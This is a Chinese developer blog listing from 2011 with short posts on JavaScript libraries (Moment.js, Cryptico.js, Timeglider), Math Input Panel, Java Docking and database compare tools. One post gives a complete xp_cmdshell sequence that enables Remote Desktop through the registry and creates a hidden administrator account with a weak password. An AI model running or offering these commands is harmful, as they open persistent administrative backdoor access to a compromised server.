JavaScript日期处理类库 Moment.js
作者:周建东 日期:2011-12-14 19:22
Moment.js 是一个简单易用的轻量级JavaScript日期处理类库,提供了日期格式化、日期解析等功能。它支持在浏览器和NodeJS两种环境中运行。此类库能够将给定的任意日期转换成多种不同的格式,具有强大的日期计算功能,同时也内置了能显示多样的日期形式的函数。另外,它也支持多种语言,你可以任意新增一种新的语言包。
示例代码:
var now = moment(); //取当前时间
now.format('YYYY-MM-DD'); //格式化输出
var day = moment("9/12/2010 19:05:25", "MM/DD/YYYY HH:mm:ss"); //字符串转换成时间格式
JavaScript数据加密类库 Cryptico.js
作者:周建东 日期:2011-12-14 19:20
Cryptico.js 是一个简单且容易使用的JavaScript数据加密类库,它支持RSA和AES的加密方式,可使用任意给定的密钥长度(512, 1024等)。RSA是能同时用于加密和数字签名的算法,Cryptico.js在使用RSA加密时,如果选择的密钥长度比较大,加密字符也比较多时,运行速度会有点慢。当然,它不依赖于任何的JS框架,你可以独立使用它。
示例代码(模拟一段公钥加密、私钥解密的过程):
var PassPhrase = "Hello"
// 公钥长度
var Bits = 512;
// 生成RSA密钥
var RSAkey = cryptico.generateRSAKey(PassPhrase, Bits);
// RSA公钥:
var PublicKeyString = cryptico.publicKeyString(RSAkey);
var PlainText = "给力技术";
//使用公钥加密
var EncryptionResult = cryptico.encrypt(PlainText, PublicKeyString);
var encrytext = EncryptionResult.cipher;//密文
//使用私钥解密
var DecryptionResult = cryptico.decrypt(encrytext, RSAkey);
var decrypttext = DecryptionResult.plaintext;
Math Input Panel – 手写数学公式
作者:周建东 日期:2011-12-14 06:50
讨厌写论文,更讨厌论文里面还有大量的公式。一会上标、一会下标、一会积分、一会微分,有时还伴有分数等等,一起存在的话人都死了。 毕竟 Word 没有 Latex 写公式来得爽快,可惜 Latex 在“中国高校”不通用。今天意外发现(也许是我 OUT),原来 windows 自带手写输入公式的软件,名叫 Math Input Panel ,就在开始-附件-数学输入面板可以找到。同为微软开发,当然支持导入到 Word ,不过不支持2003以下的 Office。以后买个手写板,输入公式那就效率了。 @APPINN
用笔记本触摸板写了一个
![Math Input Panel 手写数学公式[图] | 小众软件 Math Input Panel 手写数学公式[图] | 小众软件](http://tmsoft.lsxy.com/attachments/saveimages/113105000.jpg)
导入到 Office 2010
![Math Input Panel 手写数学公式[图] | 小众软件 Math Input Panel 手写数学公式[图] | 小众软件](http://tmsoft.lsxy.com/attachments/saveimages/113204000.jpg)
P.S. 据说 Math Input Panel 还兼容 MathType 哦
sql语句开远程终端+建用户+2003添加远程桌面组用户
作者:周建东 日期:2011-12-13 10:29
没有技术含量,纯属一次偶然中的方便, 代码在查询分析器上可以一步完成以上操作,在2003和XP实验已经成功. 代码如下:
___________________________________________________________________________________________
xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
go
xp_cmdshell 'echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server]>>3389.reg'
go
xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
go
xp_cmdshell 'echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/wds/rdpwd/Tds/tcp]>>3389.reg'
go
xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389'
go
xp_cmdshell 'regedit /s 3389.reg'
go
xp_cmdshell 'ipconfig'
go
xp_cmdshell 'net user cnkun 123456 /add'
go
xp_cmdshell 'net localgroup administrators cnkun /add'
go
xp_cmdshell 'net localgroup "Remote Desktop Users" cnkun /add'
go
分享一个jQuery的时间轴插件:TimergliderJS
作者:周建东 日期:2011-12-08 05:57

Timeglider JS是一个由javascript支持缩放,数据驱动的时间轴组件。非常适合显示项目历史,项目计划及其其它需要显示历史的项目。
时间轴可以通过右边拖放垂直滑动器来缩放界面:向上缩小,向下放大。同时也支持使用滚轮来控制缩放。通过鼠标拖东空白处可以左右拖动时间轴,点击事件可以弹出一个小窗口来描述时间内容及其数据。
JS组件有以下几个目标:
- 支持iPads和其它支持触摸的设备
- 非常容易整合到基于HTML/JS应用和界面
- 支持复杂的布局,并且可以对任何指定自定义HTML元素添加事件
安装
第一步:jQuery UI及其Timeglider CSS文件
<link rel="stylesheet" href="css-folder/aristo/jquery-ui-1.8.5.custom.css" type="text/css" media="screen" title="no title" charset="utf-8">
<link rel="stylesheet" href="css-folder/Timeglider.css" type="text/css" media="screen" title="no title" charset="utf-8">
第二步:倒入jQuery类库
<script src="/your_js_folder/jquery.js" type='text/javascript'>
第三步:jQuery UI JS
你需要下载最新的jQuery UI 。最小的配置如下:
- all of the core modules
- interactions: draggable & droppable
- widgets: button, dialogue, slider & datepicker
- no effects are necessary
第四步:Timeglider
倒入t
Sanaware Java Docking
作者:周建东 日期:2011-12-07 08:45
Sanaware Java Docking 是一个用来关于 Java Swing 应用程序窗口的类库。
作用:
- 使用面板、分隔条、tabs、线、表格以及浮动窗口进行窗口管理
- 拖放时对窗口进行重新组织
- 最小化和最大化窗口
- 保存当前窗口状态
- 组织工具栏、按钮和应用行为
Sanaware Java Docking 特点:
- Has a simple and well documented API.
- Can be used with a minimal amount of code.
- Can be combined with your favourite look and feel.
- Provides a lot of samples.
- Provides the source code.
- Has a small jar (341kB).
- Is free for other open source projects.

javadocking1.5.0.zip (6.67 MB , 下载:15次)
ERP系统管理员的工具箱 推荐几款优秀的数据比较同步工具 Data Compare and Sync tool
作者:周建东 日期:2011-12-07 08:37
最近一直在帮忙客户找程序方面的问题。当确定不是程序上的问题后,痛苦的过程就开始了:帮助客户修复计算错误的数据,也叫Data Fix。我们的ERP系统有1000多个表,有100个基础数据表,比如物料表,物料清单,工作单,销售单,采购单,这里包含表头(Header)和表明细(Detail),再加上100多个数据关联表,比如工作单与销售单的关联,工作单与物料进出,物料进出与仓库日记帐,仓库日记帐进而产生传票(voucher),成本(cost),这样加起来,又有100个多表。当发现程序有计算错误后,通常会修复程序,再帮助用户修复计算错误的数据。有时候程序修改好后,由于没有合并到客户的版本中,导致客户的数据计算错误,日记帐与总帐对不上,这时,只好一行一行的来修复数据了,修复错误的数据。
为了追踪到是哪一行的程序计算出了问题,通常是在测试系统中做一笔新的业务,让它产生一连串的数据,这肯定是对的,然后把它与客户的有问题的系统对比,看看是哪几个field出了问题,修复这几个field的关联问题。
一开始依靠自己对系统的熟悉程度来对做,虽然也能解决问题,但非常耗费时间,写大量的SQL语句。折腾过几次之后,想到这一类问题经常会碰到,于是搜索了一下,找到下面的几个工具,以帮助解决这类问题。
dbForge Data Compare
Data Compare 是比较两个数据库的数据是否相同。在有问题的客户系统中做一笔业务,同时在没有问题的系统中也做一笔同样的业务,再用这个工具比较一下,两者数据的不同之处,问题很快就可以定位到field,修复它即可。
SQL Data Compare
这一款工具由Red Gate公司出品,我们熟悉的.NET Reflector就是这个公司推出的,它的SQLToolbet也是非常有名,SQL Data Compare是SQLToolbet系列工具中的一种。Red Gate公司出品的这款Data Compare 工具稳定,好用。它还有一个很有用的feature是,可以比较备份集中的数据。也就是我们把客户数据备份之后,拷贝回来,可以直接在这里比较,而不用还原到SQL Server中。另外,如上图所示,它有一个Synchronization Wizard,可以根据两个正在比较的数据库的差别,产生同步的脚本,把这个脚本放到另一个数据库中运行一下,这两个数据
Google 提供 JavaScript 库以简化 Google API 的调用
作者:周建东 日期:2011-12-02 06:56
Google发布这个库的意图是简化Google API的使用。它支持以下浏览器Chrome 8+, Firefox 3.5+, Internet Explorer 8+, Safari 4+, 和 Opera 11+。同时,它也支持OAuth 2.0验证方式。
开发者可以通过Google的API Explorer查看支持的API,例如Web Fonts,Google Analytics等等。这个库支持REST和JSON-RPC。
由于这个库目前还是alpha阶段,Google正在寻求开发者的反馈。

![clip_image002[5] clip_image002[5]](http://tmsoft.lsxy.com/attachments/saveimages/201112060903531595.jpg)








